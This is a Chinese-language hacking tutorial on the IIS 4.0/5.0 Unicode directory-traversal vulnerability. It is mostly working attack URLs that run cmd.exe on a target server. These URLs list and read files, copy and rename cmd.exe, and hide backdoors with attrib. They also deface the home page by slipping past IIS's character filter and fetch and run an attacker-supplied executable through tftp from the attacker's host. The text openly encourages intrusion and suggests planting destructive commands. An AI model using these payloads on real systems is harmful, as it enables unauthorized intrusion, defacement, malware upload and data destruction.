对于IIS 5.0/4.0中文版,当IIS收到的URL请求的文件名中包含一个特殊的编码例如"%c1%hh"或者"%c0%hh",它会首先将其解码变成:0xc10xhh, 然后尝试打开这个文件,Windows 系统认为0xc10xhh可能是unicode编码,因此它会首先将其解码,如果 0x00<= %hh < 0x40的话,采用的 解码的格式与下面的格式类似:
%c1%hh -> (0xc1 - 0xc0) * 0x40 + 0xhh
%c0%hh -> (0xc0 - 0xc0) * 0x40 + 0xhh
因此,利用这种编码,我们可以构造很多字符,例如:
%c1%1c -> (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'
%c0%2f -> (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\'
攻击者可以利用这个漏洞来绕过IIS的路径检查,去执行或者打开任意的文件。
此漏洞从中文IIS4.0+SP6开始,还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1,台湾繁体中文也同样存在这样的漏洞。
Win NT4 编码为:%c1%9c
Win2000 英文版 编码为:%c0%af
检测方法:
* 注意:以下编码为“%c0%af”( %c0%af:为 Win2000 英文版 编码)
比如说有一IP地址为x.x.x.x的windows 2000主机,我们可以在地址栏输入:
http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
如果存在此漏洞的话,我们便可以看到以下的内容:(例子假设“C:\inetpub\scripts”目录里无文件)
Directory of C:\inetpub\scripts
2000-09-28 15:49 〈DIR〉 .
2000-09-28 15:49 〈DIR〉 ..
如果目标主机的管理员把该目录删除掉,我们就无法看到了,但是还有以下的目录是同样可以用来测试的。
http://x.x.x.x/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
漏洞分析:
从上面的检测中,可以清楚地看到:
“http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+” 之后就是DOS命令:dir
如果我们换成:http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+d:\
你就可以看到目标主机的 D:\ 的内容。(这里用到的命令是:dir)
如果我们换成:http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+type+d:\cnhack.bat
那么,你就可以看到目标主机的 D:\cnhack.bat 文件 的内容。(这里用到的命令是:type)
如果我们换成:http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+md+d:\cnhack
运行后我们可以看到返回这样的结果:
CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:
英文意思是:
CGI错误
具体的CGI申请有误,不能返回完整的HTTP标题,返回的标题为:
但,你仍然可以在目标主机的 D:\ 里建立一个名为:cnhack 的文件夹。(这里用到的命令是:md)
主要命令:
(一):复制文件且改名的命令
http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+copy+d:\cnhack.bat d:\cnhack\hacker.bat
返回信息:
CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:
1 file(s) copied.
此时,你已经把 d:\cnhack.bat 复制到 d:\cnhack\hacker.bat (这里用到的命令是:copy)
* 注意:多数时候,你会得不到copy权限。除非你真的碰到了很笨的管理员。
(二):显示目标主机当前的环境变量的命令
http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+set
这个命令比较有用,你在里面可以得到主机的各项信息,对攻击很有帮助的哦!(这里用到的命令是:set)
(三):attrib修改属性命令
用这命令查文件属性和修改文件的属性。
http://x.x.x.x/scripts/..%c0%af../winnt/system32/attrib.exe?c:\inetpub\wwwroot\index.htm
运行后,我们可以看到index.htm的文件属性,往往有时我们无法修改这文件,是因为这文件设为只读。(这里用到:attrib.exe)
http://x.x.x.x/scripts/..%c0%af../winnt/system32/attrib.exe?%20%2br%20%2bh%20d:\inetpub\wwwroot\index.htm
运行后,我们可以把index.htm文件设为只读、隐藏。如果我们把某个后门程序隐藏起来,并且管理没有设置所有文件可见。
那么是不是很方便上传的东西不被管理员发现呢?
* 注意:这里 %2b 等于 +
http://x.x.x.x/scripts/..%c0%af../winnt/system32/attrib.exe?%20-r%20-h%20d:\inetpub\wwwroot\index.htm
运行后解除文件的属性。
同样,还有很多命令可以执行,大家可以试试,不过有些时间会很久,有些是不能执行的。
解释+号,在这里+等于空格键,当然你也可以用空格键,用空格键运行后会转换为%20 和%c0%af=/是同一道理的。
简单地修改主页:
一般情况下,我们要修改目标主机的web文件,常用到的方法是利用echo回显、管道工具“>” “>>”
先复习一下这些命令和管道工具的功能:
D:\>echo/?
显示信息,或将命令响应打开或关上。
ECHO [ON | OFF]
ECHO [message]
仅键入 ECHO 而不加参数,可以显示当前的 ECHO 设置。
管道工具“>” “>>” 的功能
“>”“>>”是将命令产生的输出重新定向,比如写到某个文件或输出到打印机中。
“>>”产生的内容将追加进文件中,“>”则将原文件内容覆盖。
我们知道IIS加载程序检测到有cmd.exe或者command.com串就要检测特殊字符“&|(,;%<>”
如果发现有这些字符就会返回500错误,所以不能直接使用cmd.exe加管道符等。
如果我们输入:http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+echo+内容+> d:\cnhack.bat
我们可以看到提示
HTTP 500 - 内部服务器错误
Internet Explorer
中联绿盟的yuange(袁哥)发布了关于这字符的公告。
如果我们要得到echo与>的结合使用,可以这样操作:
http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd".exe?/c+echo+内容+> d:\cnhack.bat
注意,与开始的命令的区别只在于cmd后面多了个"字符。
运行后我们可以看到返回这样的结果:
CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:
英文意思是:
CGI错误
具体的CGI申请有误,不能返回完整的HTTP标题,返回的标题为:
实际上,我们已经把“内容”写入到 d:\cnhack.bat 文件里了。
利用这样的方法我们可以建立.bat .txt .asp .htm .html 等文件,这对于一个存在这漏洞的网站可以说是致命打击的开始。
尤其是能写.bat文件,如果我们在autoexe.bat里面加入format del等命令时,你想结果会如何??
回到修改网站页面的问题来。
比如说想修改c:\inetpub\wwwroot\default.htm
我们就可以这样在地址栏输入:
http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd".exe?/c+echo+黑客力量+> c:\inetpub\wwwroot\default.htm
那么再看他的首页时,已经被修改为:
黑客力量
事情就那么简单,任何一个普通人都可以通过地址栏对存在该漏洞的目标主机做最简单的入侵。
当然,如果为了方便输入,我们可以把cmd.exe改名为其他名字的文件,比如说cnhack.exe
http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\cnhack.exe
以后使用就可以直接用:
http://x.x.x.x/scripts/cnhack.exe?/c+echo+黑客力量+> c:\inetpub\wwwroot\default.htm
上传文件:
上传文件的方法有很多种,但最好用的算是 tftp 啦。
什么是 tftp ?
简单来说,tftp 就是让你的电脑变成一台服务器,让攻击主机来下载你的文件。
这样就可以达到上传的目的。
首先,请大家打开“tftp.zip”压缩包。
解压后,运行 tftpd32.exe 。
在运行它之前,建议关闭其他FTP服务器,保持tftpd运行,这时你的机器已经是一个FTP服务器了。
然后,把你要上传的文件,复制到同一目录下。
回到你的浏览器,在地址栏里填入:
http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp -i y.y.y.y GET cnhack.exe c:\\inetpub\\scripts\\ak.exe
y.y.y.y为你自己的IP,注意:c:\\inetpub\\scripts\\sr.exe 其中c:\\inetpub\\scripts\\为主机服务器目录,
要看主机的具体情况而定,ak.exe为被改名的cnhack.exe(自己选名字吧)。
然后等待...大概3分钟...IE浏览器左下角显示完成,红色漏斗消失,这时cnhack.exe已经上传到主机c:\inetpub\scripts\目录了。
您可以自己检查一下。
执行cnhack.exe(ak.exe):
http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+c:\inetpub\scripts\sr.exe
